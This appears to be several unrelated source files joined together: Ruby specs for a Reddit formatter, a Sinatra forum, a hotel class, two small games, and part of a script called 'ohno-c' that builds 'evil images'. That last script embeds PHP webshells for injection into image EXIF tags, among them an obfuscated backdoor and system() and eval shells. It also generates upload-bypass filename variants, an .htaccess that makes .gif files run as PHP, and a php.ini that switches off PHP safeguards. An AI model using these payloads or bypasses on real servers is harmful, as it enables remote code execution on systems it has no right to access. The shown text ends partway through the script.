expect(post1).to receive(:url).twice.and_return("http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579")
post2 = double("second post")
expect(post2).to receive(:subreddit).and_return("technology")
expect(post2).to receive(:permalink).twice.and_return("/r/technology/comments/3o0vrh/mozilla_lays_out_a_proposed_set_of_rules_for/")
expect(post2).to receive(:title).and_return("Mozilla lays out a proposed set of rules for content blockers")
expect(post2).to receive(:created_utc).and_return(Time.at(1444340278))
expect(post2).to receive(:url).twice.and_return("https://blog.mozilla.org/blog/2015/10/07/proposed-principles-for-content-blocking/")
s = formatter.format(post1)
s = formatter.format(post2)
lines = s.split("\n")
expect(lines[0]).to eq('')
expect(lines[1]).to eq('')
expect(lines[2]).to eq('')
expect(lines[3]).not_to eq('')
end
end
end
describe CommentFormatter do
let(:formatter) { CommentFormatter.new }
before do
Timecop.freeze(Time.new(2015, 6, 16, 17, 8))
end
after do
Timecop.return
end
describe "#format" do
it "should return a string containing the formatted comment" do
comment = double("comment")
expect(comment).to receive(:subreddit).twice.and_return("programming")
expect(comment).to receive(:link_id).and_return("t3_13f783")
expect(comment).to receive(:id).and_return("c73qhxi")
expect(comment).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0))
expect(comment).to receive(:ups).and_return(12)
expect(comment).to receive(:downs).and_return(1)
expect(comment).to receive(:body).and_return("Welcome to the wonderful world of Python drama!")
expected = <<-EXPECTED
programming
http://www.reddit.com/r/programming/comments/13f783/z/c73qhxi
Why Brit Ruby 2013 was cancelled and why this is not ok - Gist
about 2 weeks ago \u2022 +11
Welcome to the wonderful world of Python drama!
EXPECTED
actual = formatter.format(comment).delete_ansi_color_codes
expect(actual).to eq(expected)
end
it "should print two spaces between comments" do
comment1 = double("first comment")
expect(comment1).to receive(:subreddit).twice.and_return("programming")
expect(comment1).to receive(:link_id).and_return("t3_13f783")
expect(comment1).to receive(:id).and_return("c73qhxi")
expect(comment1).to receive(:created_utc).and_return(Time.at(1433378314.0))
expect(comment1).to receive(:ups).and_return(12)
expect(comment1).to receive(:downs).and_return(1)
expect(comment1).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
expect(comment1).to receive(:body).and_return("Welcome to the wonderful world of Python drama!")
comment2 = double("second comment")
expect(comment2).to receive(:subreddit).twice.and_return("programming")
expect(comment2).to receive(:link_id).and_return("t3_13f783")
expect(comment2).to receive(:id).and_return("c73qhxi")
expect(comment2).to receive(:created_utc).and_return(Time.at(1433378314.0))
expect(comment2).to receive(:ups).and_return(12)
expect(comment2).to receive(:downs).and_return(1)
expect(comment2).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
expect(comment2).to receive(:body).and_return("Welcome to the wonderful world of Python drama!")
s = formatter.format(comment1)
s = formatter.format(comment2)
lines = s.split("\n")
expect(lines[0]).to eq('')
expect(lines[1]).to eq('')
expect(lines[2]).not_to eq('')
end
it "should strip leading and trailing whitespace from comments" do
comment = double(comment)
expect(comment).to receive(:subreddit).twice.and_return("test")
expect(comment).to receive(:link_id).and_return("t3_13f783")
expect(comment).to receive(:id).and_return("c73qhxi")
expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0))
expect(comment).to receive(:ups).and_return(12)
expect(comment).to receive(:downs).and_return(1)
expect(comment).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
expect(comment).to receive(:body).and_return("This is a comment.\n\nIt has two lines.\n\n\n")
s = formatter.format(comment)
lines = s.split("\n")
expect(lines[-1]).to eq("It has two lines.")
end
it "should format HTML entities in post titles" do
comment = double("first comment")
expect(comment).to receive(:subreddit).twice.and_return("guitars")
expect(comment).to receive(:link_id).and_return("t3_13f783")
expect(comment).to receive(:id).and_return("c73qhxi")
expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0))
expect(comment).to receive(:ups).and_return(12)
expect(comment).to receive(:downs).and_return(1)
expect(comment).to receive(:link_title).and_return("[GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM")
expect(comment).to receive(:body).and_return("Lorem ipsum")
s = formatter.format(comment).delete_ansi_color_codes
lines = s.split("\n")
expect(lines[2]).to eq("[GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM")
end
end
end
describe CompactCommentFormatter do
let (:formatter) { CompactCommentFormatter.new }
before do
Timecop.freeze(Time.new(2015, 6, 16, 17, 8))
end
after do
Timecop.return
end
describe "#format" do
it "should return a string containing the formatted comment" do
comment = double("comment")
expect(comment).to receive(:subreddit).and_return("programming")
expect(comment).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
expected = "programming Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\n"
actual = formatter.format(comment).delete_ansi_color_codes
expect(actual).to eq(expected)
end
it "should format HTML entities in titles" do
comment = double("comment")
expect(comment).to receive(:subreddit).and_return("guitars")
expect(comment).to receive(:link_title).and_return("[GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM")
expected = "guitars [GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM\n"
actual = formatter.format(comment).delete_ansi_color_codes
expect(actual).to eq(expected)
end
it "should return an empty string if a comment has already been printed" do
comment1 = double("comment")
comment2 = double("comment")
expect(comment1).to receive(:subreddit).and_return("programming")
expect(comment1).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
_ = formatter.format(comment1).delete_ansi_color_codes
expect(comment2).to receive(:subreddit).and_return("programming")
expect(comment2).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist")
actual = formatter.format(comment2).delete_ansi_color_codes
expect(actual).to eq("")
end
end
end
describe CompactPostFormatter do
let (:formatter) { CompactPostFormatter.new }
describe '#format' do
it 'should return a string containing the formatted comment' do
post = double('post')
expect(post).to receive(:subreddit).and_return('programming')
expect(post).to receive(:title).and_return('Why Brit Ruby 2013 was cancelled and why this is not ok - Gist')
expected = "programming Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\n"
actual = formatter.format(post).delete_ansi_color_codes
expect(actual).to eq(expected)
end
end
end
describe TallyFormatter do
before(:all) do
Struct.new('PartitionData', :longest, :counts)
end
let (:formatter) { TallyFormatter.new }
describe '#format' do
it 'should format partitioned data' do
longest_subreddit = 'writing'.length
count_data = [['apple', 5], ['Bass', 1], ['Python', 3], ['writing', 10]]
partition = Struct::PartitionData.new(longest_subreddit, count_data)
expected = <<-EOS
apple 5
Bass 1
Python 3
writing 10
EOS
actual = formatter.format(partition)
expect(actual).to eq(expected)
end
end
end
describe TimelineFormatter do
let (:data) { [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 6, 1, 11, 0, 2, 1, 4, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 2, 7, 4, 1, 6, 1, 2, 2, 0, 0, 0, 0, 1],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 5, 5, 0, 0, 0, 3, 2, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 2, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]] }
let (:formatter) { TimelineFormatter.new }
describe '#format' do
it 'should format a timeline' do
expected = <<EOS
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
S
M * * * * * * *
T * * *
W * * * * * * * * * *
T * * * * * *
F * * * *
S
EOS
actual = formatter.format(data)
expect(actual).to eq(expected)
end
end
end
end
end
| true
|
808e0bfd439ecb1aedf6fea395020381b8544390
|
Ruby
|
SauperMagiuse/Forum
|
/app.rb
|
UTF-8
| 3,130
| 2.78125
| 3
|
[] |
no_license
|
require 'sinatra'
require 'sequel'
enable 'sessions'
#Open Database
DB = Sequel.connect('sqlite://db/userdata.db') #Where everything is kept
get '/' do #Main forum page
@login = session[:username]
@posts = []
postdata = DB[:dataPost].where(:parentID => 0) # Passing in Front page render data and only grabs the original posts.
postdata.each{ |row| @posts << [ row[:title], row[:postID], row[:author] ] }
erb :index
end
post '/' do
#we have a few things in params[] title and text
id = (DB[:dataPost].map(:postID)).max + 1
DB[:dataPost].insert( :parentID => 0, :postID => id, :title => params[:title], :text => params[:text], :author => session[:username] )
redirect '/'
end #parent ID for posting to this is always 0 as it's an original post and must appear on the front page. The only thing that is rather tough to grab is post ID, but we'll create that like me grab a new user ID
get '/thread' do
original = ( DB[:dataPost].where( :postID => params[:thread] ) ) #this points to a hash with title author and text as the significant fields.
original.each do |x| @op = [ x[:author], x[:title], x[:text] ]
end
# @comments = []
# postdata = DB[:dataPost].where( :parentID => params[:thread] )
# postdata.each do |row| @comments << [ row[:author], row[:text] ];
# end
@thread = params[:thread]
@posts = []
postdata = DB[:dataPost].where(:parentID => params[:thread])
postdata.each{ |row| @posts << [ row[:text], row[:author] ] }
erb :thread
end
post '/thread' do
if session[:username] != nil
id = (DB[:dataPost].map(:postID)).max + 1
DB[:dataPost].insert(:author => session[:username], :text => params[:text], :parentID => params[:thread], :postID => id) #CREATE METHOD FOR FINDING NEXT ID
end
redirect '/thread?thread=' + params[:thread]
end
get '/signup' do #account creation
erb :signup
end
post '/signup' do #checks if form data is valid and creates account or asks to retry
usernames = DB[:dataUser].map(:username)
if usernames.include?(params[:user])
@status = 'Signup Failed' #on invalid form data send back to signup to retry
erb :signup
else
id = DB[:dataUser].map(:userID) #on valid form data
id = id.max + 1
DB[:dataUser].insert(:userID => id, :username => params[:user], :password =>params[:pass])
redirect '/login'
end
end
get '/login' do #account login
erb :login
end
post '/login' do
login_data = DB[:dataUser].to_hash(:username, :password) # Need to check for a more efficient way to do this bit
#create hash from current DB user data table and check whether the given username in the table points to the given password
if login_data[params[:user]] == params[:pass]
session[:username] = params[:user] # only cookie necessary is who a user is, which let's me grab all of the information. Need a SECRET encoded cokie
redirect '/'
else
@status = 'Login Failed' # I pass a string here because passing in true or false makes the erb for this much more complicated than it needs to be
end
erb :login
end
get '/logout' do #logs user out by removing cookie
session[:username] = nil
redirect '/'
end
| true
|
c71f483606f39cd89a130a9d75d0a25978386618
|
Ruby
|
CraMo7/wkndhw2
|
/classes/hotel.rb
|
UTF-8
| 959
| 3.125
| 3
|
[] |
no_license
|
require_relative("../classes/booking.rb")
require_relative("../classes/recordbook.rb")
class Hotel
attr_reader :capacity, :occupancy, :bookings
def initialize(params = {})
params.has_key?(:single_rooms) ? @single_rooms_total = params[:single_rooms] : @single_rooms_total = 0
params.has_key?(:double_rooms) ? @double_rooms_total = params[:double_rooms] : @double_rooms_total = 0
params.has_key?(:single_rooms)
@capacity = @single_rooms_total + @double_rooms_total * 2
params.has_key?(:occupancy) ? @occupancy = params[:occupancy] : @occupancy = 0
params.has_key?(:revenue) ? @revenue = params[:revenue] : @revenue = 0
params.has_key?(:costs) ? @costs = params[:costs] : @costs = 0
params.has_key?(:bookings) ? @bookings = params[:bookings] : @bookings = Array.new
end
def add_booking(booking)
booking.class == Booking ? @bookings << booking : return
end
def read_record_book
end
end# => class end
| true
|
d28011d6c1b6b7719382f8a2c8034ef0b57eb42e
|
Ruby
|
jociemoore/ruby_oop_practice
|
/120_lesson_2/bonus_features.rb
|
UTF-8
| 6,479
| 3.484375
| 3
|
[] |
no_license
|
# keep score
# Lizard Spock
# History of Moves
# => I used an array of arrays which records the win or loss and the move choice.
# => I included the history methods in the existing Player class.
# => I outputted the history of moves as a numbered list.
# Adjust computer choice based on history
require 'pry'
class Move
VALUES = ['rock', 'paper', 'scissors', 'lizard', 'spock']
def initialize(value)
@value = value
end
def scissors?
@value == 'scissors'
end
def paper?
@value == 'paper'
end
def rock?
@value == 'rock'
end
def lizard?
@value =='lizard'
end
def spock?
@value == 'spock'
end
def >(other_move)
rock? && other_move.scissors? ||
rock? && other_move.lizard? ||
scissors? && other_move.lizard? ||
scissors? && other_move.paper? ||
lizard? && other_move.paper? ||
lizard? && other_move.spock? ||
paper? && other_move.spock? ||
paper? && other_move.rock? ||
spock? && other_move.rock? ||
spock? && other_move.scissors?
end
def <(other_move)
rock? && other_move.spock? ||
rock? && other_move.paper? ||
spock? && other_move.paper? ||
spock? && other_move.lizard? ||
paper? && other_move.scissors? ||
paper? && other_move.lizard? ||
lizard? && other_move.rock? ||
lizard? && other_move.scissors? ||
scissors? && other_move.spock? ||
scissors? && other_move.rock?
end
def to_s
@value
end
end
class Move_Analysis
attr_accessor :history, :chance_rock, :chance_paper, :chance_scissors, :chance_lizard, :chance_spock
def initialize(history)
@history = history
@chance_rock = calculate_failure('rock')
@chance_paper = calculate_failure('paper')
@chance_scissors = calculate_failure('scissors')
@chance_lizard = calculate_failure('lizard')
@chance_spock = calculate_failure('spock')
end
def calculate_failure(move_type)
number_losses = self.history.count(["L", move_type])
total_moves_by_type = number_losses + self.history.count(["W", move_type])
if total_moves_by_type > 0 && number_losses.to_f > 0
number_losses.to_f / total_moves_by_type.to_f
else
0
end
end
def get_options
computer_choices = Move::VALUES.clone
old_moves = self.history.map { |array| array[1] }
random_luck = rand(1..10)
if self.chance_rock > 0.6 && old_moves.count('rock') > 1
computer_choices.delete('rock')
end
if self.chance_paper > 0.6 && old_moves.count('paper') > 1
computer_choices.delete('paper')
end
if self.chance_scissors > 0.6 && old_moves.count('scissors') > 1
computer_choices.delete('scissors')
end
if self.chance_lizard > 0.6 && old_moves.count('lizard') > 1
computer_choices.delete('lizard')
end
if self.chance_spock > 0.6 && old_moves.count('spock') > 1
computer_choices.delete('spock')
end
if computer_choices.empty? || random_luck % 3 == 0
computer_choices = Move::VALUES
end
computer_choices
end
end
class Player
attr_accessor :move, :name, :score, :log
def initialize
set_name
@score = 0
@log = []
end
def increase_score
self.score += 1
end
def record_move(win_loss, play)
self.log << [win_loss, play]
end
def display_history
puts "\n************************"
puts "#{self.name}'s History of Moves: "
self.log.each_with_index do |prev_move, index|
puts "#{index + 1}) #{prev_move}"
end
puts "************************\n"
end
end
class Human < Player
def set_name
n = nil
loop do
puts "=================="
print "Please introduce yourself to your opponent. \nWhat is your name: "
n = gets.chomp
break unless n.empty?
puts "Sorry, must enter a value."
end
self.name = n
end
def choose
puts "=================="
print "#{name}, please choose rock, paper, scissors, lizard, or spock: "
choice = nil
loop do
choice = gets.chomp
break if Move::VALUES.include? choice
puts "Sorry, invalid choice."
end
self.move = Move.new(choice)
end
end
class Computer < Player
def set_name
self.name = ['R2D2', 'Hal', 'Chappie', 'Sarah', 'Beth'].sample
puts "You will be playing against #{name}."
end
def choose
choice = Move_Analysis.new(self.log).get_options.sample
self.move = Move.new(choice)
end
end
class RPSGame
attr_accessor :human, :computer
def initialize
@human = Human.new
@computer = Computer.new
@@game_over = false
end
def display_moves
puts "--------"
puts "#{human.name} chose #{human.move}."
puts "#{computer.name} chose #{computer.move}."
puts "--------"
end
def display_winner
if human.move > computer.move
puts "#{human.name} won!"
human.increase_score
human.record_move('W', human.move.to_s)
computer.record_move('L', computer.move.to_s)
elsif human.move < computer.move
puts "#{computer.name} won!"
computer.increase_score
human.record_move('L', human.move.to_s)
computer.record_move('W', computer.move.to_s)
else
puts "It's a tie!"
end
display_scoreboard
end
def display_scoreboard
puts "--------"
puts "#{human.name}: #{human.score}"
puts "#{computer.name}: #{computer.score}"
puts "--------"
if human.score == 10
puts "#{human.name} won 'Best of Ten'."
@@game_over = true
elsif computer.score == 10
puts "#{computer.name} won 'Best of Ten'."
@@game_over = true
end
end
def play
loop do
human.choose
computer.choose
display_moves
display_winner
human.display_history
computer.display_history
break if @@game_over
play_again?
end
end
end
def display_welcome_message
puts "Welcome to Rock, Paper, Scissors, Lizard, Spock!"
end
def display_goodbye_message
puts "=================="
puts "Thanks for playing Rock, Paper, Scissors, Lizard, Spock. Goodbye!"
exit
end
def play_again?
answer = nil
puts "=================="
loop do
print "Would you like to play again? (y/n) "
answer = gets.chomp.downcase
break if ['y', 'n'].include? answer
puts "Sorry, must be 'y' or 'n'."
end
return true if answer == 'y'
if answer == 'n'
display_goodbye_message
end
end
display_welcome_message
loop do
RPSGame.new.play
break unless play_again?
end
| true
|
22872cb009f00314f1acbd1132fb188318284d36
|
Ruby
|
chongr/minesweeper
|
/minesweeper.rb
|
UTF-8
| 4,770
| 3.40625
| 3
|
[] |
no_license
|
require "yaml"
class Minesweeper
def initialize(player)
@player = player
@gameboard = Board.new
end
def play
playturn until gameover?
end
def playturn
#@gameboard.display
@gameboard.player_display
move = @player.get_move
make_move(move)
save_game
end
def save_game
save_file = File.open("save_game", "w")
yamlfile = @gameboard.to_yaml
IO.binwrite(save_file, yamlfile)
end
def load_game
@gameboard = YAML::load(IO.binread("save_game"))
end
def make_move(move)
letter = move[1]
pos = move[0]
tile_pos = @gameboard.grid[pos[0]][pos[1]]
#debugger
if letter == "f"
tile_pos.flag
else
tile_pos.reveal if tile_pos.flagged == false
@gameboard.reveal_zeros(pos) if tile_pos.symbol == 0
end
end
def gameover?
if @gameboard.grid.flatten.count{|tile| tile.hidden == false} == (81 - @gameboard.numberofbombs)
puts " gratz you win"
exit
elsif @gameboard.grid.flatten.any? {|tile| tile.hidden == false && tile.symbol == :b }
puts "you suck at this #{@player.name}"
exit
end
false
end
end
class Tile
attr_accessor :symbol, :flagged, :hidden
def initialize
@symbol = :*
@flagged = false
@hidden = true
end
def reveal
@hidden = false if @flagged == false
end
def flag
if @flagged == false
@flagged = true
else
@flagged = false
end
end
def show_player
if hidden && flagged
return :F
elsif hidden
return :*
else
return @symbol
end
end
end
class Board
attr_accessor :grid
attr_reader :numberofbombs
def initialize
# debugger
@numberofbombs = 30
@grid = Array.new(9) {Array.new(9) {Tile.new}}
place_bombs
place_bomb_indicators
end
def place_bombs
bomb_placed = 0
while bomb_placed < numberofbombs
randx = rand(0..8)
randy = rand(0..8)
if @grid[randx][randy].symbol != :b
@grid[randx][randy].symbol = :b
bomb_placed += 1
end
end
end
def place_bomb_indicators
@grid.each_with_index do |row,idx1|
row.each_with_index do |col,idx2|
count = count_adj_bombs([idx1,idx2])
@grid[idx1][idx2].symbol = count if @grid[idx1][idx2].symbol != :b
end
end
end
def count_adj_bombs(pos)
row = pos[0]
col = pos[1]
adjacent_spots =
{ left: [row, col - 1],
right: [row, col + 1],
top: [row + 1, col],
bot: [row - 1, col],
upL: [row + 1, col - 1],
upR: [row + 1, col + 1],
botL: [row - 1, col - 1],
botR: [row - 1, col + 1]
}
count = adjacent_spots.values.select do |spot|
spot[0].between?(0, 8) && spot[1].between?(0, 8) && @grid[spot[0]][spot[1]].symbol == :b
end
count.length
end
def display
@grid.each{|row| p row.map {|pos| pos.symbol}}
end
def player_display
@grid.each{|row| p row.map {|pos| pos.show_player}}
end
def reveal_zeros(pos)
row = pos[0]
col = pos[1]
@grid[row][col].reveal
return if @grid[pos[0]][pos[1]].symbol == /[0-9]/
adjacent_spots =
{ left: [row, col - 1],
right: [row, col + 1],
top: [row + 1, col],
bot: [row - 1, col],
upL: [row + 1, col - 1],
upR: [row + 1, col + 1],
botL: [row - 1, col - 1],
botR: [row - 1, col + 1]
}
@grid[row][col].reveal
adjacent_spots.values.each do |spot|
if spot[0].between?(0, 8) && spot[1].between?(0, 8) && grid[spot[0]][spot[1]].hidden == true
@grid[spot[0]][spot[1]].reveal
reveal_zeros([spot[0], spot[1]]) if @grid[spot[0]][spot[1]].symbol == 0
end
end
end
end
class Player
attr_reader :name
def initialize(name)
@name = name
end
def get_move
puts "Enter a move (e.g. 0 0 f)"
move = gets.chomp
letter = move.scan(/[a-z]/).join
number = move.scan(/[0-9]/).map(&:to_i)
if valid_move?(number,letter)
return [number,letter]
else
get_move
end
end
def valid_move?(number,letter)
if (letter == "f" || letter == "") && number.length == 2 && number[0].between?(0,8) && number[1].between?(0,8)
return true
else
return false
end
end
end
# board = Board.new
# board.place_bombs
# board.display
# board.place_bomb_indicators
# board.display
# board.player_display
# player = Player.new("Ryan")
# player.get_move
# board.count_adj_bombs([5,5])
player = Player.new("Ryan")
game = Minesweeper.new(player)
puts "load previous game or new game? (load, new)"
user_input = gets.chomp.downcase
if user_input == "load"
game.load_game
end
game.play
| true
|
4fd9c1e4ae59d24c7dd81614a6dfe2dcd7af218d
|
Ruby
|
oneplus-x/OhNo
|
/ohno-c
|
UTF-8
| 15,613
| 2.75
| 3
|
[] |
no_license
|
#!/usr/bin/env ruby
#
# Evil Image Builder
# A Ruby ExifTool GUI of sorts
# By: Hood3dRob1n
#
# Pre-Requisites:
# MiniExifTool is a wrapper for ExifTool CLI
# ExifTool CLI Installation: http://www.sno.phy.queensu.ca/~phil/exiftool/install.html
# Download file...
# cd <your download directory>
# gzip -dc Image-ExifTool-#.##.tar.gz | tar -xf -
# cd Image-ExifTool-#.##/
# perl Makefile.PL
# make test
# sudo make install
#
####### STD GEMS #########
require 'fileutils' #
require 'optparse' #
###### NON-STD GEMS ######
require 'mini_exiftool' #
require 'colorize' #
##########################
HOME=File.expand_path(File.dirname(__FILE__))
EVIL=HOME + '/evil/'
UP = EVIL + 'uploads/'
# Terminal Banner
def banner
puts
print <<"EOT".white
_______________________________
< OhNo - The Evil Image Builder >
-------------------------------
\\ __
\\ (OO)
\\ ( )
\\ /--\\
__ / \\ \\
UOOU\\.'@@@@@@`.\\ )
\\__/(@@@@@@@@@@) /
(@@@@@@@@)((
`YY~~~~YY' \\\\
|| || >>
EOT
end
# Clear Terminal
def cls
if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i
system('cls')
else
system('clear')
end
end
# Delete MetaTag Value
# Returns True on Success, False otherwise
def delete(obj, tag)
if not obj.tags.include?(tag)
return false
else
obj[tag] = '' # Set to Nothing to Wipe Tag
if obj.save
return true
else
return false
end
end
end
# Write String to Tag
# Returns True on Success, False otherwise
def write(obj, str, tag)
obj[tag] = str
if obj.save
return true
else
return false
end
end
# Dump Tags & Values
# Returns Hash {Tag=>Value}
def dump(obj)
tagz={}
obj.tags.sort.each do |tag|
tagz.store(tag, obj[tag])
end
return tagz
end
# Build various Shell Upload Bypass Possibilities
# Generates many possibilities and writes them to: OhNo/evil_images/uploads/
def generate_uploads(shell, flip='gif')
Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)
Dir.mkdir(UP) unless File.exists?(UP) and File.directory?(UP)
php = [ 'php', 'pHp', 'php4', 'php5', 'phtml' ]
options = [ 'gif', 'jpeg', 'mp3', 'pdf', 'png', 'txt' ]
shell_name = shell.split('/')[-1]
# Read provided Shell into Var
data = File.open(shell).read
# Generate our Shell Possibilities for Uploading
php.each do |x|
a = shell_name.sub(shell.split('/')[-1].split('.')[-1], x)
f = File.open(UP + a, 'w+')
f.puts data
f.close
end
options.each do |y|
# Simple Concatenation of Filetypes: .php.jpeg
b = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.' + y)
f = File.open(UP + b, 'w+')
f.puts data
f.close
if y =~ /GIF|JPEG|PNG/i
# Simple Concatenation of Filetypes (reversed order for evil images): .jpeg.php
c = shell_name.sub(shell.split('/')[-1].split('.')[-1], y + '.' + shell.split('/')[-1].split('.')[-1])
f = File.open(UP + c, 'w+')
f.puts data
f.close
end
# Another Concatenation of Filetypes in hopes it drops the trailing type: .php;jpeg
d = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + ';.' + y)
f = File.open(UP + d, 'w+')
f.puts data
f.close
# Null Byte to drop the trailing filetype
e = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '%00.' + y)
f = File.open(UP + e, 'w+')
f.puts data
f.close
end
# Bogus separator, unknown extension causes it to fallback to PHP
g = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.xxxfoo')
f = File.open(UP + g, 'w+')
f.puts data
f.close
# Create .htaccess file for flipping filetype to php
f = File.open(UP + '.htaccess', 'w+')
f.puts "AddType application/x-httpd-php .#{flip}"
f.close
# PHP_INI Overrides
f = File.open(UP + 'php.ini', 'w+')
f.puts 'disable_functions = none'
f.puts 'magic_quotes_gpc = off'
f.puts 'safe_mode = off'
f.puts 'suhosin.executor.func.blacklist = foofucked'
f.close
end
# PHP Shells for Evil Image Builder
# see more on sneaky shell here: http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
sneaky_shell = '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>'
r0ng_shell = "<?if($_GET['r0ng']){echo'<pre>'.shell_exec($_GET['r0ng']);}?>"
system_shell = "<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>"
eval_shell = "<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>"
$shell='Sneaky Shell'
$c=1
### MAIN ### ##
##################################### #
options = {}
optparse = OptionParser.new do |opts|
opts.banner = "Usage".light_blue + ": #{$0} ".white + "[".light_blue + "OPTIONS".white + "]".light_blue
opts.separator ""
opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.jpeg -d".white
opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.gif -g 1 -t Comment".white
opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.gif -w 'HR was here' -t 'Comment'".white
opts.separator ""
opts.separator "Options".light_blue + ": ".white
opts.on('-i', '--image IMG', "\n\tImage File to Use".white) do |img|
if File.exists?(img.chomp) and not File.directory?(img.chomp)
options[:img] = img.chomp
else
cls
banner
puts
puts "Problem loading Image file".light_red + "!".white
puts "Check path and permissions and try again".light_red + ".....".white
puts
puts opts
puts
exit 666;
end
end
opts.on('-d', '--dump', "\n\tDump All Tags w/Values".white) do |meh|
options[:method] = 1
end
opts.on('-w', '--write STRING', "\n\tWrite Custom String to Tag".white) do |write_str|
options[:method] = 2
options[:str] = write_str.chomp
end
opts.on('-g', '--generate NUM', "\n\tWrite PHP Shell to Tag\n\t 0 => Sneaky Shell\n\t 1 => r0ng Shell\n\t 2 => Simple System() Shell\n\t 3 => Simple Eval Shell".white) do |num|
options[:method] = 3
if num.chomp.to_i >= 0 and num.chomp.to_i <= 3
options[:shell] = num.chomp.to_i
else
cls
banner
puts
puts "Unknown Shell Generator Option Requested".light_red + "!".white
puts
puts opts
puts
exit 69;
end
end
opts.on('-t', '--tag TAG', "\n\tTag Name to Write to".white) do |tag|
options[:tag] = tag.chomp
end
opts.on('-n', '--nuke TAG', "\n\tTry to Delete Tag".white) do |tag|
options[:method] = 4
options[:tag] = tag.chomp
end
opts.on('-u', '--uploads-gen SHELL', "\n\tGenerate Upload Bypass Possibilities for Shell".white) do |shell|
if File.exists?(shell.chomp) and not File.directory?(shell.chomp)
options[:method] = 5
options[:shell] = shell.chomp
else
cls
banner
puts
puts "Problem loading Shell file".light_red + "!".white
puts "Check path and permissions and try again".light_red + ".....".white
puts
puts opts
puts
exit 69;
end
options[:shell] = shell.chomp
end
opts.on('-h', '--help', "\n\tHelp Menu".white) do
cls
banner
puts
puts opts
puts
exit 69;
end
end
begin
foo = ARGV[0] || ARGV[0] = "-h"
optparse.parse!
if options[:method].to_i == 1
mandatory = [:method, :img] # CLI DUMP
elsif options[:method].to_i == 3
mandatory = [:method, :img, :tag, :shell] # CLI Evil Image Generator
elsif options[:method].to_i == 5
mandatory = [:method, :shell] # CLI DUMP
elsif not options[:generate].nil?
mandatory = [:method, :img] # CLI DUMP
else
mandatory = [:method, :img, :tag] # CLI WRITE OR NUKE
end
missing = mandatory.select{ |param| options[param].nil? }
if not missing.empty?
cls
banner
puts
puts "Missing options".light_red + ": #{missing.join(', ')}".white
puts optparse
exit 666;
end
rescue OptionParser::InvalidOption, OptionParser::MissingArgument
cls
banner
puts
puts $!.to_s
puts
puts optparse
puts
exit 666;
end
cls
banner
case options[:method].to_i
when 1
# Tag Dump
photo = MiniExiftool.new(options[:img])
v = photo.exiftool_version.to_s.split('.')
height = photo.image_height
width = photo.image_width
puts
puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
puts
puts "Meta Info from".light_blue + ": #{options[:img].split('/')[-1]}".white
puts "Image Dimensions".white.underline + ": ".white
puts "Image Height".light_blue + ": #{height}".white
puts "Image Width".light_blue + ": #{width}".white
puts
puts "Available Tags".white.underline + ": ".white
photo.tags.sort.each do |tag|
puts "#{tag}".light_blue + ": #{photo[tag]}".white
end
when 2
# Write to Tag
photo = MiniExiftool.new(options[:img])
v = photo.exiftool_version.to_s.split('.')
height = photo.image_height
width = photo.image_width
puts
puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
puts
if not photo.tags.include?(options[:tag])
